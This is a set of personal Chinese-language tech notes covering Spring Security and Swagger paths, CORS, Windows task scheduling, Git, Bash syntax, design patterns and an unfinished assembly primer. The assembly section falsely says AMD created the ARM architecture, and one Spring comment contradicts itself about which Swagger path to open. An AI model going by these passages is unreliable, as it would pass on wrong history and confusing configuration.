    • 注意，Spring Doc 配置和以前 Spring Fox 的 Swagger 放行路径不太一样

    • 这个导致困惑了好几天，最后根据 Doc 的 Default swagger 页面的 Explore 默认项试出来了

@Bean
public SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception {
    http
         // 其他配置项可以随便加
         // Spring Fox 的 Swagger 需要放行 "/swagger-resources/**", "/swagger-ui/**"
         // Spring Doc 的 Swagger 需要放行 "/v2/**"
         // 这里放行 v2/v3 依据自己的 Spring Doc 版本决定
            .antMatchers("/v3/**").permitAll()
            .anyRequest().authenticated();
    return http.build();
}

跨域

POST 请求遭到拦截

  • OPTIONS <some_url> Missing Allow Origin
  • POST 请求会发出 OPTIONS 请求预检，后端配置放行 OPTIONS 但 POST 还是跨域
  • 可能是跨域设置里面没有允许携带头部信息，而只允许了方法，但是 POST 请求有头部信息，不允许携带即写入或读取不了 Access-Control-Allow-Headers 于是遭到拦截，可以参考一篇 CSDN
  • 允许携带头部信息即可
configuration.setAllowedHeaders(List.of("*"));

Windows 自定义自启动任务

步骤

  1. 右键计算机 -> 管理
  2. 系统工具 -> 任务计划程序
  3. 操作侧栏 -> 创建任务
  4. 输入
    • 常规
      • 名称
      • 描述
      • 只在用户登录时运行（R）/ 不管用户是否登录都要运行（W）
      • 使用最高权限运行（I）
    • 触发器
      • 新建（会卡一下）
      • 开始任务选项
      • 延迟任务时间
      • 其他项按需配置
    • 操作
      • 新建
      • 操作选项
      • 程序或脚本
      • 参数
      • 起始于（命令行脚本最好选择程序或脚本的上一级目录）
      • 确定
    • 条件
    • 设置
  5. 确定
  6. 输入 微软账号密码

查看

  • 在任务计划程序下的任务计划程序库中查看

注意事项

  • 如果系统设置里的账号是微软账号，并且有 PIN 码，最后确认时务必输入微软账号密码，不能输入 PIN 码，否则密码错位不成功
  • 如果脚本执行命令后即退出，则不会一直产生进程，在任务计划程序库里面就 永远会是准备就绪状态
    • 但实际上脚本已经执行过了，任务已经成功了
    • 所以可以在脚本里面调用一些其他程序，只是库里不会看到脚本的进程，但脚本调用的进程可以在任务管理器里面看到

其他资料

收录所有无法整理成某一系列的技术资料。

林林总总，杂七杂八，不便于整理，统一放置在此处。

Git 学习笔记

笔记

  1. Git 是分布式的版本控制系统

  2. Git 是由 Linux 开发者不服 BitMover 公司回收使用权限，一个人在两周之内写出来的

  3. Git 无法追踪二进制文件的变化

说明：可以利用 Git 进行版本管理，但是只能追踪到文件发生了变化，但是不知道哪里发生了变化。

原文：

首先这里再明确一下，所有的版本控制系统，其实只能跟踪文本文件的改动，比如 TXT 文件，网页，所有的程序代码等等，Git 也不例外。版本控制系统可以告诉你每次的改动，比如在第 5 行加了一个单词“Linux”，在第 8 行删了一个单词“Windows”。而图片、视频这些二进制文件，虽然也能由版本控制系统管理，但没法跟踪文件的变化，只能把二进制文件每次改动串起来，也就是只知道图片从 100KB 改成了 120KB，但到底改了啥，版本控制系统不知道，也没法知道。

不幸的是，Microsoft 的 Word 格式是二进制格式，因此，版本控制系统是没法跟踪 Word 文件的改动的，前面我们举的例子只是为了演示，如果要真正使用版本控制系统，就要以纯文本方式编写文件。

  1. commit id（版本号）为一串乱码，原因是因为 Git 是分布式的，无法像 svn 一样使用递增有序数字作为版本号，否则容易冲突。因此 Git 选择了使用 SHA1 计算出来的一个非常大的数字，用十六进制表示

  2. Git 中，HEAD 表示当前版本，HEAD^ 为上一个版本，HEAD^^ 则为上上个。如果回退版本过多，可以使用 HEAD~X，表示第前 X 个版本

  3. git add 实际上就是把文件修改添加到暂存区

  4. git commit 提交更改，实际上就是把暂存区的所有内容提交到当前分支

  5. 暂存区(stage)是 Git 非常重要的概念

  6. Git 比其他版本控制系统设计得优秀是因为因为 Git 跟踪并管理的是修改，而非文件

  7. 如果一个文件已经被提交到版本库，则不用担心误删，但只能恢复文件到最新版本，也即会丢失最近一次提交后修改的内容

  8. 从来没被添加到版本库就被删除的文件是无法恢复的。

  9. 搭一个自己的 Git 服务器，则上面的文件对其他人来说是不可读，也不可写的(看不见)。

  10. Git 支持多种协议，包括https，但ssh协议速度最快。

  11. 合并有几种模式：Fast-forward(快进模式)，普通模式

  12. 关于合并模式

合并分支时，如果可能，Git 会用Fast forward模式。 但这种模式下，删除分支后，会丢掉分支信息。 如果要强制禁用Fast forward模式，Git 会在时生成一个新的 commit，这样，从分支历史上就可以看出分支信息。

  1. 分支管理策略

master 分支应该是稳定的，仅用来发布新版本。开发都应在 dev 分支上，到某个时候，再把 dev 分支合并到 master 上，在 master 分支发布发行版。 每位开发者都应有自己的分支，开发过程中，往 dev 分支上合并。

  1. 开发一个新 feature，最好新建一个分支

  2. 从远程仓库克隆时，会将本地的 master 分支与远程的 master 分支对应起来，并且远程仓库默认名称是 origin

  3. 多人协作的工作模式：

首先，可以试图用 git push origin 推送自己的修改； 如果推送失败，则因为远程分支比你的本地更新，需要先用 git pull 试图合并； 如果合并有冲突，则解决冲突，并在本地提交； 没有冲突或者解决掉冲突后，再用 git push origin 推送就能成功！ 如果 git pull 提示 no tracking information，则说明本地分支和远程分支的链接关系没有创建，用命令git branch --set-upstream-to origin/ 这就是多人协作的工作模式，一旦熟悉了，就非常简单。

  1. rebase 操作可以把本地未 push 的分叉提交历史整理成直线

  2. rebase 的目的是使得我们在查看历史提交的变化时更容易，因为分叉的提交需要三方对比

  3. 标签不按时间列出，按字母顺序列出

  4. 标签总是和某个 commit 挂钩。如果这个 commit 既出现在 master 分支，又出现在 dev 分支，那么在这两个分支上都可以看到这个标签

命令

  1. git status 查看仓库当前的状态

  2. git diff (git difference), 查看两文件不同之处，显示格式为 Unix 通用的 diff 格式

  3. git log 显示从最近到最远的提交日志，可选参数 -pretty=oneline 用于简化 log 信息。该命令查看提交历史，以便确定要回退到哪个版本。

  4. git reset --hard HEAD^ 回退到上个版本

  5. 上述命令也可以写成 git reset --hard + commit_id，一般用在回退未来版本比较多

  6. git reflog 用来查看命令历史，以便确定要回到未来的哪个版本

  7. git checkout --可以丢弃工作区的修改，即让该文件回到最近一次 git commit 或 git add 时的状态。

  8. git reset 既可以回退版本，也可以把暂存区的修改回退到工作区

  9. git reset HEAD 可以把暂存区的的 file 文件的修改撤销掉（unstage），重新放回工作区

  10. git rm 用于删除一个文件

  11. git remote add origin 添加远程仓库

  12. git push 将代码推送到远程仓库对应分支上。-u 参数还会把本地分支与对应的远程分支关联起来

  13. git remote -v查看远程库信息

  14. git remote rm 删除远程分支

  15. git clone 克隆远程库

  16. git branch 创建分支

  17. git checkout 或者git switch 切换分支。-b参数表示创建并切换该分支，-d参数表示删除该分支

  18. git branch查看所有分支，当前分支会标注*号

  19. git merge 合并指定分支到当前分支

  20. git log --graph查看分支合并图

  21. git merge --no-ff -m "merge with no-ff" 附加参数--no-ff表示禁用Fast forward，-m其后的引号内容表示合并时的 commit 描述

  22. git stash将当前工作现场储藏起来，以便修复 bug 或者满足其他需求

  23. git stash list查看隐藏起来的工作文件

  24. git stash apply恢复工作文件，但 stash 内容不删除，若要删除请用git stash drop，也可以使用git stash pop同时完成上述两种操作

  25. git cherry-pick 用于将另一分支上修复的 bug 合并到当前分支，方式是复制以前某次特定的提交(修复 bug 的提交)

  26. 丢弃一个没有被合并过的分支，通过git branch -D 强行删除

  27. 在本地创建和远程分支对应的分支，使用git checkout -b origin/，本地和远程分支的名称最好一致

  28. 建立本地分支和远程分支的关联，使用git branch --set-upstream origin/

  29. git tag 将特定的 commit id 打上名为 tag name 的标签，缺省 commit id 则使用最新 commit，若 tag name 和 commit id 都缺省，则是查看所有标签

  30. git tag -a v0.1 -m "Version 0.1 released" 1a2b3c创建带有说明的标签，参数-a指定标签名，-m指定说明文字

  31. git show 看到说明文字

  32. git push origin 推送一个本地标签

  33. git push origin --tags推送全部未推送过的本地标签

  34. git tag -d 删除一个本地标签

  35. git push origin :refs/tags/删除一个远程标签

常见错误

  1. fatal: not a git repository (or any of the parent directories)

解决方案：Git 命令必须在 Git 仓库目录内执行（git init 除外），在仓库目录外执行是没有意义的。

  1. fatal: pathspec 'readme.txt' did not match any files

解决方案：添加某个文件时，该文件必须在当前目录下存在，用 ls 或者 dir 命令查看当前目录的文件，看看文件是否存在，或者是否写错了文件名。

Bash 代表命令

前注

此笔记只用于回忆，不是教程。

原教程：阮一峰 Bash 脚本教程

代表命令

#!/bin/sh
# 或者
#! /bin/bash

echo -n hello world

echo -e "Hello\nWorld"

mkdir foo || mkdir bar

mkdir foo && mkdir bar

type echo

set

unset

?

~

*

ls ?[!a]?

mkdir {2007..2009}-{01..12}

echo {0..8..2}

echo $(date)

# 请注意，此命令默认关闭
ls **/*.txt

echo "$(cal)"

<< token
text
token

cat <<< 'hi there'
# 等同于
echo 'hi there' | cat

$?

$$

$_

$!

$0

$-

$#

$#

${#varname}

${varname:offset:length}

# 如果 pattern 匹配变量 variable 的开头，
# 删除最短匹配（非贪婪匹配）的部分，返回剩余部分
${variable#pattern}

# 如果 pattern 匹配变量 variable 的开头，
# 删除最长匹配（贪婪匹配）的部分，返回剩余部分
${variable##pattern}

# 如果 pattern 匹配变量 variable 的结尾，
# 删除最短匹配（非贪婪匹配）的部分，返回剩余部分
${variable%pattern}

# 如果 pattern 匹配变量 variable 的结尾，
# 删除最长匹配（贪婪匹配）的部分，返回剩余部分
${variable%%pattern}

# 如果 pattern 匹配变量 variable 的一部分，
# 最长匹配（贪婪匹配）的那部分被 string 替换，但仅替换第一个匹配
${variable/pattern/string}

# 如果 pattern 匹配变量 variable 的一部分，
# 最长匹配（贪婪匹配）的那部分被 string 替换，所有匹配都替换
${variable//pattern/string}

# 转为大写
${varname^^}

# 转为小写
${varname,,}

(( 2 + 2 ))

expr 3 + 2

!echo

export HISTTIMEFORMAT='%F %T  '

export HISTIGNORE='pwd:ls:exit'

cd -

pushd dirname

popd [-n]

dirs
    -c：清空目录栈。
    -l：用户主目录不显示波浪号前缀，而打印完整的目录。
    -p：每行一个条目打印目录栈，默认是打印在一行。
    -v：每行一个条目，每个条目之前显示位置编号（从0开始）。
    +N：N为整数，表示显示堆顶算起的第 N 个目录，从零开始。
    -N：N为整数，表示显示堆底算起的第 N 个目录，从零开始。

grep -- "--hello" example.txt

# 写法一
if test -e /tmp/foo.txt ; then
  echo "Found foo.txt"
fi
# 写法二
if [ -e /tmp/foo.txt ] ; then
  echo "Found foo.txt"
fi
# 写法三
if [[ -e /tmp/foo.txt ]] ; then
  echo "Found foo.txt"
fi

case expression in
  pattern )
    commands ;;
  pattern )
    commands ;;
esac

while condition; do
  commands
done

for variable in list; do
  commands
done

for (( i=0; i<5; i=i+1 )); do
  echo $i
done

select name
[in list]
do
  commands
done

# 函数总是在当前 Shell 执行，这是跟脚本的一个重大区别，Bash 会新建一个子 Shell 执行脚本。如果函数与脚本同名，函数会优先执行。但是，函数的优先级不如别名，即如果函数与别名同名，那么别名优先执行。
fn () {
  foo=1
  echo "fn: foo = $foo"
}
fn () {
  local foo
  foo=1
  echo "fn: foo = $foo"
}

echo ${foo[@]}

# @和*放不放在双引号之中，是有差别的。
for i in "${names[@]}"; do
  echo $i
done

echo ${#a[100]}

echo ${#a[@]}
# 或者
echo ${#a[*]}

# ${!array[@]}或${!array[*]}，可以返回数组的成员序号，即哪些位置是有值的。

echo ${food[@]:0}

foo+=(d e f)

unset foo[2]

# unset ArrayName可以清空整个数组。

# 写法一
command || { echo "command failed"; exit 1; }

# 使用command || true，使得该命令即使执行失败，脚本也不会终止执行。
command || true

shopt

# 为了保证脚本退出时临时文件被删除，可以使用trap命令指定退出时的清除操作。
trap 'rm -f "$TMPFILE"' EXIT
TMPFILE=$(mktemp) || exit 1
echo "Our temp file is $TMPFILE"

快捷键

  • Ctrl + L：清除屏幕并将当前行移到页面顶部。
  • Ctrl + C：中止当前正在执行的命令。
  • Shift + PageUp：向上滚动。
  • Shift + PageDown：向下滚动。
  • Ctrl + U：从光标位置删除到行首。
  • Ctrl + K：从光标位置删除到行尾。
  • Ctrl + W：删除光标位置前一个单词。
  • Ctrl + D：关闭 Shell 会话。
  • ↑，↓：浏览已执行命令的历史记录。
  • Ctrl + o：执行历史文件里面的当前条目，并自动显示下一条命令。这对重复执行某个序列的命令很有帮助。
  • !!：执行上一个命令。
  • !n：n为数字，执行历史文件里面行号为n的命令。
  • !-n：执行当前命令之前n条的命令。
  • !string：执行最近一个以指定字符串string开头的命令。
  • !?string：执行最近一条包含字符串string的命令。
  • !$：代表上一个命令的最后一个参数。
  • !*：代表上一个命令的所有参数，即除了命令以外的所有部分。
  • ^string1^string2：执行最近一条包含string1的命令，将其替换成string2。
  • Alt + .：插入上一个命令的最后一个词。
    • 上面的Alt + .快捷键，对于很长的文件路径，有时会非常方便。因为 Unix 命令的最后一个参数通常是文件路径。

其他

字符类

  • [[:alnum:]]：匹配任意英文字母与数字
  • [[:alpha:]]：匹配任意英文字母
  • [[:blank:]]：空格和 Tab 键。
  • [[:cntrl:]]：ASCII 码 0-31 的不可打印字符。
  • [[:digit:]]：匹配任意数字 0-9。
  • [[:graph:]]：A-Z、a-z、0-9 和标点符号。
  • [[:lower:]]：匹配任意小写字母 a-z。
  • [[:print:]]：ASCII 码 32-127 的可打印字符。
  • [[:punct:]]：标点符号（除了 A-Z、a-z、0-9 的可打印字符）。
  • [[:space:]]：空格、Tab、LF（10）、VT（11）、FF（12）、CR（13）。
  • [[:upper:]]：匹配任意大写字母 A-Z。
  • [[:xdigit:]]：16进制字符（A-F、a-f、0-9）。

量词语法

  • ?(pattern-list)：模式匹配零次或一次。
  • *(pattern-list)：模式匹配零次或多次。
  • +(pattern-list)：模式匹配一次或多次。
  • @(pattern-list)：只匹配一次模式。
  • !(pattern-list)：匹配给定模式以外的任何内容。

常见环境变量

  • BASHPID：Bash 进程的进程 ID。
  • BASHOPTS：当前 Shell 的参数，可以用shopt命令修改。
  • DISPLAY：图形环境的显示器名字，通常是:0，表示 X Server 的第一个显示器。
  • EDITOR：默认的文本编辑器。
  • HOME：用户的主目录。
  • HOST：当前主机的名称。
  • IFS：词与词之间的分隔符，默认为空格。
  • LANG：字符集以及语言编码，比如zh_CN.UTF-8。
  • PATH：由冒号分开的目录列表，当输入可执行程序名后，会搜索这个目录列表。
  • PS1：Shell 提示符。
  • PS2： 输入多行命令时，次要的 Shell 提示符。
  • PWD：当前工作目录。
  • RANDOM：返回一个0到32767之间的随机数。
  • SHELL：Shell 的名字。
  • SHELLOPTS：启动当前 Shell 的set命令的参数，参见《set 命令》一章。
  • TERM：终端类型名，即终端仿真器所用的协议。
  • UID：当前用户的 ID 编号。
  • USER：当前用户的用户名。

进制

  • number：没有任何特殊表示法的数字是十进制数（以10为底）。
  • 0number：八进制数。
  • 0xnumber：十六进制数。
  • base#number：base进制的数。

文件判断

  • [ -a file ]：如果 file 存在，则为true。
  • [ -b file ]：如果 file 存在并且是一个块（设备）文件，则为true。
  • [ -c file ]：如果 file 存在并且是一个字符（设备）文件，则为true。
  • [ -d file ]：如果 file 存在并且是一个目录，则为true。
  • [ -e file ]：如果 file 存在，则为true。
  • [ -f file ]：如果 file 存在并且是一个普通文件，则为true。
  • [ -g file ]：如果 file 存在并且设置了组 ID，则为true。
  • [ -G file ]：如果 file 存在并且属于有效的组 ID，则为true。
  • [ -h file ]：如果 file 存在并且是符号链接，则为true。
  • [ -k file ]：如果 file 存在并且设置了它的“sticky bit”，则为true。
  • [ -L file ]：如果 file 存在并且是一个符号链接，则为true。
  • [ -N file ]：如果 file 存在并且自上次读取后已被修改，则为true。
  • [ -O file ]：如果 file 存在并且属于有效的用户 ID，则为true。
  • [ -p file ]：如果 file 存在并且是一个命名管道，则为true。
  • [ -r file ]：如果 file 存在并且可读（当前用户有可读权限），则为true。
  • [ -s file ]：如果 file 存在且其长度大于零，则为true。
  • [ -S file ]：如果 file 存在且是一个网络 socket，则为true。
  • [ -t fd ]：如果 fd 是一个文件描述符，并且重定向到终端，则为true。 这可以用来判断是否重定向了标准输入／输出／错误。
  • [ -u file ]：如果 file 存在并且设置了 setuid 位，则为true。
  • [ -w file ]：如果 file 存在并且可写（当前用户拥有可写权限），则为true。
  • [ -x file ]：如果 file 存在并且可执行（有效用户有执行／搜索权限），则为true。
  • [ file1 -nt file2 ]：如果 FILE1 比 FILE2 的更新时间最近，或者 FILE1 存在而 FILE2 不存在，则为true。
  • [ file1 -ot file2 ]：如果 FILE1 比 FILE2 的更新时间更旧，或者 FILE2 存在而 FILE1 不存在，则为true。
  • [ FILE1 -ef FILE2 ]：如果 FILE1 和 FILE2 引用相同的设备和 inode 编号，则为true。

字符串判断

  • [ string ]：如果string不为空（长度大于0），则判断为真。
  • [ -n string ]：如果字符串string的长度大于零，则判断为真。
  • [ -z string ]：如果字符串string的长度为零，则判断为真。
  • [ string1 = string2 ]：如果string1和string2相同，则判断为真。
  • [ string1 == string2 ] 等同于[ string1 = string2 ]。
  • [ string1 != string2 ]：如果string1和string2不相同，则判断为真。
  • [ string1 '>' string2 ]：如果按照字典顺序string1排列在string2之后，则判断为真。
  • [ string1 '<' string2 ]：如果按照字典顺序string1排列在string2之前，则判断为真。

整数判断

  • [ integer1 -eq integer2 ]：如果integer1等于integer2，则为true。
  • [ integer1 -ne integer2 ]：如果integer1不等于integer2，则为true。
  • [ integer1 -le integer2 ]：如果integer1小于或等于integer2，则为true。
  • [ integer1 -lt integer2 ]：如果integer1小于integer2，则为true。
  • [ integer1 -ge integer2 ]：如果integer1大于或等于integer2，则为true。
  • [ integer1 -gt integer2 ]：如果integer1大于integer2，则为true。

参数变量

  • $1~$9：函数的第一个到第9个的参数。
  • $0：函数所在的脚本名。
  • $#：函数的参数总数。
  • $@：函数的全部参数，参数之间使用空格分隔。
  • $*：函数的全部参数，参数之间使用变量$IFS值的第一个字符分隔，默认为空格，但是可以自定义。

set 命令

  • set -u 遇到不存在的变量就会报错，并停止执行。
  • set -x 用来在运行结果之前，先输出执行的那一行命令。
  • set -e 使得脚本只要发生错误，就终止执行。
  • set -o pipefail 只要一个子命令失败，整个管道命令就失败，脚本就会终止执行。
  • set -n：等同于set -o noexec，不运行命令，只检查语法是否正确。
  • set -f：等同于set -o noglob，表示不对通配符进行文件名扩展。
  • set -v：等同于set -o verbose，表示打印 Shell 接收到的每一行输入。
  • set -o noclobber：防止使用重定向运算符>覆盖已经存在的文件。
  • set -E 参数可以纠正这个行为，使得函数也能继承trap命令。
  • set -Eeuxo pipefail 建议放在所有 Bash 脚本的头部。

环境变量

  • 变量LINENO返回它在脚本里面的行号。

登录 session

登录 Session 是用户登录系统以后，系统为用户开启的原始 Session，通常需要用户输入用户名和密码进行登录。

登录 Session 一般进行整个系统环境的初始化，启动的初始化脚本依次如下。

  • /etc/profile：所有用户的全局配置脚本。
  • /etc/profile.d目录里面所有.sh文件
  • ~/.bash_profile：用户的个人配置脚本。如果该脚本存在，则执行完就不再往下执行。
  • ~/.bash_login：如果~/.bash_profile没找到，则尝试执行这个脚本（C shell 的初始化脚本）。如果该脚本存在，则执行完就不再往下执行。
  • ~/.profile：如果~/.bash_profile和~/.bash_login都没找到，则尝试读取这个脚本（Bourne shell 和 Korn shell 的初始化脚本）。

Linux 发行版更新的时候，会更新/etc里面的文件，比如/etc/profile，因此不要直接修改这个文件。如果想修改所有用户的登陆环境，就在/etc/profile.d目录里面新建.sh脚本。

非登录 session

非登录 Session 是用户进入系统以后，手动新建的 Session，这时不会进行环境初始化。比如，在命令行执行bash命令，就会新建一个非登录 Session。

非登录 Session 的初始化脚本依次如下。

  • /etc/bash.bashrc：对全体用户有效。
  • ~/.bashrc：仅对当前用户有效。

对用户来说，~/.bashrc通常是最重要的脚本。非登录 Session 默认会执行它，而登录 Session 一般也会通过调用执行它。每次新建一个 Bash 窗口，就相当于新建一个非登录 Session，所以~/.bashrc每次都会执行。注意，执行脚本相当于新建一个非互动的 Bash 环境，但是这种情况不会调用~/.bashrc。

转义字符

  • \a：响铃，计算机发出一记声音。
  • \d：以星期、月、日格式表示当前日期，例如“Mon May 26”。
  • \h：本机的主机名。
  • \H：完整的主机名。
  • \j：运行在当前 Shell 会话的工作数。
  • \l：当前终端设备名。
  • \n：一个换行符。
  • \r：一个回车符。
  • \s：Shell 的名称。
  • \t：24小时制的hours:minutes:seconds格式表示当前时间。
  • \T：12小时制的当前时间。
  • \@：12小时制的AM/PM格式表示当前时间。
  • \A：24小时制的hours:minutes表示当前时间。
  • \u：当前用户名。
  • \v：Shell 的版本号。
  • \V：Shell 的版本号和发布号。
  • \w：当前的工作路径。
  • \W：当前目录名。
  • \!：当前命令在命令历史中的编号。
  • \#：当前 shell 会话中的命令数。
  • \$：普通用户显示为$字符，根用户显示为#字符。
  • \[：非打印字符序列的开始标志。
  • \]：非打印字符序列的结束标志。

第一个 Bash 脚本

#!/bin/bash

# 确保 bash 脚本安全性
set -Eeuxo pipefail

# 将分隔符暂时保存
split=$IFS

# 定义分隔符为回车
IFS=$'\n'

function recursion {

	cd $1

	# 列出当前目录下所有文件和文件夹
	local list=$(ls)

	# 循环处理 list 中的项
	for one in $list; do

		# 如果是一个目录，则进入目录下
		if [[ -d $one ]]; then

			# 递归处理
			recursion $one

		else

			# 打印当前正在处理的文件
			filename=${one%.*}

			# 如果后缀名是 .md 则执行添加语句
			if [[ "${one##*.}"x = "md"x ]]; then

				# 就地修改文件
				sed -i "1 i \#\ $filename\n" $filename.md

			fi

		fi

	done

	cd ../
}

# 顶级文件夹处理
recursion $1

# 将分隔符定义回去
IFS=$split

# 输出完成
echo "done."

设计模式极简笔记

设计原则

  1. 单一职责原则
  • 只做一件事
  1. 开闭原则
  • 对扩展开放，对修改关闭
  1. 里氏代换原则
  • 能用父类，肯定能透明地使用子类
  1. 依赖倒转原则
  • 抽象不应该依赖细节，细节应该依赖抽象
  • 应该面向接口编程，而不是针对实现编程
  1. 接口隔离原则
  • 使用专用接口，而非总接口
  • 客户端不应该依赖它不需要的接口
  1. 合成复用原则
  • 尽量使用对象组合，而不是继承来达到复用效果
  1. 迪米特法则
  • 尽量少与其他实体发生作用

六个创建模式

  1. 简单工厂模式
  • 即创建交给工厂，由工厂辨别类型
  1. 工厂方法模式
  • 每一个类型一个工厂，类型可以写在配置文件里，符合开闭原则
  1. 抽象工厂模式
  • 解决上述工厂过多问题，常用在产品族里
  • 将工厂也抽象一层，产品也抽象一层
  • 每个抽象工厂都提供方法创建创建不同的产品，但是抽象产品层下的产品都是同一类型的
  1. 单例模式
  • 防止实力过多竞争而产生混乱，只允许一个实例存在
  • 饿汉式单例，懒汉式单例
  • 更好的单例模式：IoDH 模式（Java 使用静态内部类实现）
  1. 原型模式
  • 其实就是模板，然后返回模板复制后的对象
  1. 建造者模式
  • 拥有一个指挥家，指挥如何建造一个对象或者模块
  • 指挥家可以抽象，具体如何建造交给具体指挥家
  • 外部对如何建造所要求的东西无需关心

七个结构模式

  1. 适配器模式
  • 夹在调用者和被调用者之间进行适配
  • 通常有调用者的名字，但是实际上调用被调用者的方法
  • 因为两者名字不同，所以无法直接调用，所以需要适配
  1. 桥接模式
  • 一抽象模块 A 维持一个对另一抽象模块 B 的引用
  • A 可以独自扩展，B 也可以独自扩展
  • A 中有方法使用抽象模块 B 即可
  • 此时的抽象模块 B 和使用 B 的方法即为“桥”
  1. 组合模式
  • 分为透明组合和安全组合
  • 透明组合中，抽象父模块拥有所有子模块的方法，即使某些模块不支持当某其他模块的一些方法，针对父模块编程可以透明
  • 安全组合中，抽象父模块只拥有所有模块共有的方法，针对父模块编程非常安全，但某些特殊功能需要针对其子模块编程
  • 组合模式，即对一些子模块进行组合，抽象出父模块，针对父模块编程
  1. 装饰模式
  • 将原模块添加到一个新模块中，使得原模块有更多的功能
  • 类似于代理模式
  1. 外观模式
  • 对外提供一个模块，所有用户向该模块发起请求
  • 该模块负责调度内部系统，外部无需关心
  • 类似于中介者模式
  1. 享元模式
  • 防止大量重复对象诞生，建造一个享元复用池，所有重复对象可以从池里得到一个相同对象
  • 若有不同属性，可以利用装饰模式等其他模式进行包装
  1. 代理模式
  • 一个中介，外部无需关心访问的流程处理，一切均交给代理对象处理
  • 类似 顾客->房屋中介->房屋，房屋中介就是代理，处理购房事宜，房产证等

十一个行为模式

  1. 职责链模式
  • 一个 Handler 分发处理请求
  • 请求分发，链式调用
  1. 命令模式
  • 命令单独封装成模块
  • 其他模块调用命令，解耦发出者和执行者
  1. 解释器模式
  • 自定义语言用
  • 和编译原理差不多，详见抽象语法树、词法分析、语法分析、语义分析等
  1. 迭代器模式
  • 遍历数据交给迭代器，解耦存储数据和遍历数据
  1. 中介者模式
  • 处理多对多复杂情况
  • 引入中介者，各终端持有对中介者的引用
  1. 备忘录模式
  • 一般用于撤销和重做
  • 执行一步保存一个状态，可以用栈，List 等等
  1. 观察者模式
  • 被观察者维护观察者列表
  • 被观察者改变，其自动遍历观察者进行通知
  • 所以也称发布-订阅模式
  1. 状态模式
  • 状态判断封装为一个模块，维护状态模块
  • 每个状态下不同行为，在具体状态里实现
  • 上下文状态切换，调不同状态的共同方法，具体状态会执行各自逻辑
  1. 策略模式
  • 跟上面状态模式差不多
  • 所有策略，名字不同，方法相同但实现不同
  • 上下文策略选择，只选择策略名字
  1. 模板方法模式
  • 公共流程抽象到父模块，父模块只定义执行框架
  • 父模块执行到某抽象步骤，将推迟到子模块里执行
  1. 访问者模式
  • 非常复杂
  • 抽象的被访问者定义某抽象访问方法，供抽象的访问者调用，具体的被访问者需实现该抽象方法
  • 抽象的访问者面向具体的被访问者定义一堆抽象方法供具体访问者实现
  • 具体访问者针对该些抽象方法实现，被访问者会自动执行访问方法

后注

模式从不保证任何东西，

它不能保证你一定能够做出可复用的软件，提高你的生产率，更不能保证世界和平。

模式并不能替代人来完成软件系统的创造，

它们只不过会给那些缺乏经验但却具备才能和创造力的人带来希望。

汇编复习笔记

导语

起源

助记符

　　首先我们来聊聊为什么会有汇编这么个东西。

　　老师肯定给你讲了，汇编语言是机器语言的助记符，但是我想只听这句话应该完全不理解它是什么东西。首先下面这张图应该能理解：

架构图

  1. 机器语言出来的时候还没有操作系统

  2. 操作系统被开发出来，那时候纯机器语言写，有了操作系统方便了很多，但写程序还是机器语言写

  3. 人们觉得用机器语言写一堆 0 和 1 实在太麻烦了，想找个办法省略一点

  4. 汇编语言就诞生了

第一版汇编语言的编译器是用纯机器语言写的，然后后面就轻松了。

所以说，汇编语言是机器语言的助记符。

总结：懒是人类创新的第一驱动力。

关于 ISA(Instruction set architecture，指令集体系结构)

　　当然，你可能看到了操作系统下面还有个 ISA，所以这就是我接下来要给你说的东西。

　　芯片最先是 Intel 那帮子人搞出来的（最先诞生了 386，486，所以这也就是 x86 的由来），芯片里面是一堆集成的门电路。所以为了把指令，数据，等等翻译成相应的二进制，搞出了一个指令集系统。

　　类似于英语和汉语的关系，汉语一个词，英语里面一个单词。

　　比如他们把加法指令 ADD 翻译成 00000011。这个 Intel 公司有文档的。

　　后来 AMD 那帮子搞机器的，看 Intel 搞得风生水起，盆满钵满，也想赚钱，所以自己就新搞了一个新的芯片体系架构出来，叫 arm 架构，你应该听过。性能好像有时候还比 Intel 好，有时候又不好，反正能用，是个玄学问题，所以用户就有两家芯片厂商可以选择。

　　这个时候他们也必然涉及到这个问题，把指令翻译成相应的二进制，所以他们自己又有一种指令集系统。（其实你如果想，也可以自己设计一个指令集系统出来，只是没人用，笑）

　　所以就诞生了两个汇编语言格式。

　　一个 Intel 格式，一个 AT&T 格式。

; AT&T 格式汇编代码

pushl %ebp

movl %esp, %ebp

movl 8(%ebp), %edx

movl 12(%ebp), %eax

addl (%edx), %eax

movl %eax, (%edx)

popl %ebp

ret


; Intel 格式汇编代码

push ebp

mov ebp, esp

mov edx, dword ptr [ebp+8]

mov eax, dword ptr [ebp+12]

add eax, dword ptr [edx]

mov dword ptr [edx], eax

pop ebp

ret

　　详情可以参考这篇：https://blog.csdn.net/goodcrony/article/details/92794938

　　由于我对这两家公司的爱恨情仇不是很了解，只知道大概是这么来的，你感兴趣的话可以自己搜一下。

寄存器

　　汇编当中有个绕不开的东西，叫做寄存器，这里简单说一下。

　　CPU 运算速度非常快，为了性能，CPU 在内部开辟一小块临时存储区域，并在进行运算时先将数据从内存复制到这一小块临时存储区域中，运算时就在这一小块临时存储区域内进行。我们称这一小块临时存储区域为寄存器。

　　这块空间也不用特别大，够放执行一次的数据和指令就行了。寄存器就是搞这个的。可以反复利用。

　　其实后面还有个叫高速缓存（Cache）的东西，这个我们之后有时间再说。


data-instruction=>start: 指令 / 数据

register=>operation: 寄存器

cpu=>operation: CPU 运算

re-register=>operation: 寄存器

memory=>end: 存储

data-instruction->register->cpu->re-register->memory

　　当然，如果可以直接送入内存／CPU 的话，就不用寄存器了，所以寄存器不是必须的，是可选的，只是大部分情况下都要用。

寻址方式

　　就是给你一个指定地点，要你跑到那个地点去拿东西。然后这个地点有很多种不同的方式告诉你。

　　比如：


; AX：我要的数据在 BX 寄存器里

MOV AX, BX

; AX：我要的数据在 DS 寄存器的值加上 2000H 得到的计算结果里，这个结果是个地址，你去这个地址上把它取过来

; 至于为什么要加上 DS，这个是硬性规定，只能靠记忆

MOV AX, [2000H]

Intel 格式汇编源程序讲解


; segment 是关键字，表示定义一个段，至于这个是数据段还是代码段，要看之后的伪指令，暂时先不管

; segment 之前是该段的名字，所以这里的 data 不是关键字，只是一个名字，想取什么名字都可以

data segment

  ; 定义一个代号（用在写代码里，类似于变量名）叫 x 的字，值为 1234h

  ; dw 意思为 Define Word 所以缩写为 dw，类似还有 db(Define byte), dd(Define Double Word)

  ; 1234h 后面的 h 意为 HEX（十六进制），表明这是十六进制的 1234，而非十进制的一千二百三十四


x dw 1234h

; 与上同理

y dw 5678h

